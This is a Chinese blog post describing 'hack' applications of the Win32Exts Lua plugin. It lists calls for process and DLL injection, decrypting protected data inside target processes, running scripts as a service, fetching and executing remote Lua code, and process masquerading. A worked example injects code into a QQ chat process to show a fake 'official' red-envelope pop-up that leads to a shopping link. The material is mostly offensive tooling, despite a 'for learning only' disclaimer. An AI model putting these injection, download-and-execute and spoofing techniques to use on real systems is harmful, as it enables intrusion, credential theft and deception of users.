首先什么是 Win32Exts?
Win32Exts 是一套Windows下面提供给 Lua / Python / Java / JavaScript / VBScript / VBA 等语言的插件集合,
利用该插件集可以在上述语言(多为脚本语言)中实现依照统一的语法格式调用系统的任意 Native代码(DLL / COM),
包括 Win32 API 以及任意第三方开发的 DLL 或者 COM / ActiveX 组件。
除此之外,对于不同语言还提供了很多额外的扩展功能,尤其以 Win32Exts for Lua 最为完备。
本文主要以 Lua 语言为基础,介绍 Win32Exts 组件的一些Hack应用技巧(仅供学习,请勿用于任何非法目的)。项目地址:
https://github.com/tankaishuai/win32exts_for_Lua
一、搜集系统各种环境信息
见文章《Lua 中 获取各种系统环境信息用法 for Win32Exts》
https://blog.csdn.net/tan_kaishuai/article/details/104507255
通常来说,获取的信息可以通过以下接口读取或者写入磁盘文件:
ret/is_ok = win32exts.load_var(file_path, [is_set_global])
is_ok = win32exts.save_var(file_path, var1, [var2, ...])
或者通过以下一些接口进行序列化、反序列化操作便于数据传输:
ptr = win32exts.pack(arg1, [arg2, ...])
ptr = win32exts.pack_v2(arg1, [arg2, ...])
ptr = win32exts.pack_ex(process_id, arg1, [arg2, ...])
ptr = win32exts.pack_ex_v2(process_id, arg1, [arg2, ...])
size = win32exts.pack_bytes(arg1, [arg2, ...])
size = win32exts.pack_bytes_v2(arg1, [arg2, ...])
ptr = win32exts.pack_merge(ptr1, ptr2)
ret_tab = win32exts.unpack(ptr, [is_release_ptr])
size = win32exts.unpack_bytes(ptr)
二、系统加解密
str = win32exts.unprotect_data(ptr, cb, [flags, is_unic])
ptr, cb = win32exts.protect_data(str/ptr, cb, [flags])
通常来说,需要配合下述代码注入系列接口在目标进程执行加解密操作。
三、lua 代码注入
handle, hr = win32exts.create_remote_thread(process_id, text, [args])
handle, hr = win32exts.create_remote_thread_v2(process_id, text, [arg1, arg2, ...])
hr = win32exts.queue_remote_apc(thread_id, text, [args])
hr = win32exts.queue_remote_apc_v2(thread_id, text, [arg1, arg2, ...])
handle, hr = win32exts.inject_remote_thread(thread_id, text, [args])
handle, hr = win32exts.inject_remote_thread_v2(thread_id, text, [arg1, arg2, ...])
hr = win32exts.inject_remote_thread_ex(thread_id, text, [args])
hr = win32exts.inject_remote_thread_ex_v2(thread_id, text, [arg1, arg2, ...])
hr = win32exts.inject_remote_window(hwnd, text, [args])
hr = win32exts.inject_remote_window_v2(hwnd, text, [arg1, arg2, ...])
handle/-1, tid/exit_code, remote_ptr = win32exts.inject_code(pid, text, [is_wait])
handle/-1, tid/exit_code, remote_ptr = win32exts.inject_code_v2(tid, text, [is_wait])
以上分别使用各种不同的方法进行 lua 代码注入 至指定进程并执行之。
可参阅:https://blog.csdn.net/tan_kaishuai/article/details/104393576
例如,以下代码查找 某聊天软件的进程,并在其进程中执行指定的 Lua 脚本, 显示一个消息框:
local injected_code = [=[
win32exts.load_sym("*", "*")
__ret = win32exts.MessageBoxA( __args[1], __args[2], __args[3], 1)
]=]
win32exts.load_sym("*", "*")
hWnd = win32exts.FindWindowA( "TXGuiFoundation", "QQ" )
g_buf = win32exts.malloc(4)
win32exts.GetWindowThreadProcessId( hWnd, g_buf )
dwProcessId = win32exts.read_value(g_buf, 0, 4)
h = win32exts.create_remote_thread_v2( dwProcessId, injected_code, hWnd, "请点击:https://www.taobao.com/,红包多多!", "这是官方的推送哦!!")
if win32exts.end_remote_thread(h) == 1 then
-- 用户点击了 OK 按钮
win32exts.WinExec( "explorer.exe https://www.taobao.com/", 1 )
end
四、DLL 模块注入
handle = win32exts.inject_dll(process_id, dll_path)
handle, hr = win32exts.inject_dll64(process_id/thread_id, dll_path, [func_name, str_arg, int_arg])
handle = win32exts.inject_dll_v2(process_id, dll_path, [func_name, text, args])
handle = win32exts.inject_dll_v3(thread_id, dll_path, [func_name, text, args])
hr, handle, proc_info = win32exts.create_process_with_dll(app, command, dll, [rep_hook, quit, desktop])
hr, ret = win32exts.create_process_with_dll_v2(app, command, dll, [rep_hook, hwnd])
hr, handle = win32exts.inject_process_with_dll(process_id, thread_id, dll, [rep_hook])
以上分别使用各种不同的方法进行模块注入,支持注入32位、64位进程。
五、创建服务,以服务权限 执行目标脚本
首先在管理员权限下执行:
rundll32 win32exts.dll,CreateSvcHost_RunDll32 win32srv2
创建一个名为 win32srv2 的服务。
然后执行:
sc start win32srv2 your_script.lua
即可以实现 以服务权限 执行你的脚本:your_script.lua。
六、截屏,并存为文件
hr = win32exts.snapshot_win(file_path, [hwnd, {l, t, r, b}])
七、锁屏
retval = win32exts.try_lock_screen([is_new])
八、执行 Explorer Shell 操作命令:
menu_tab, hr, menu_handle = win32exts.invoke_shell_command(dir_path, item_name, [command/index])
hmenu, ctx_ptr = win32exts.get_shell_menu([file_path, cmd_start, flags, is_hold_ctx])
hr = win32exts.invoke_shell_menu(ctx_ptr, cmd_offset/cmd_name, [is_show_ui])
九、动态反汇编:
len, instr = win32exts.disasm({start_addr, end_addr}/start_addr, [virtual_addr = 0])
十、下载一段脚本并读取、执行
is_ok, [save_path] = win32exts.download_to_file(url, [save_path])
str_val = win32exts.download_to_memory(url, [headers, acp, backup_file])
str_val = win32exts.read_file_text(file_path, [acp])
pcall( loadstring(str_val) )
十一、进程伪装技术:
hr, thread_id = win32exts.create_process_with_pid(app, command, [pid])
is_ok, [proc_info] = win32exts.exec_fork([bin_path / ptr, cb], [wrap_path])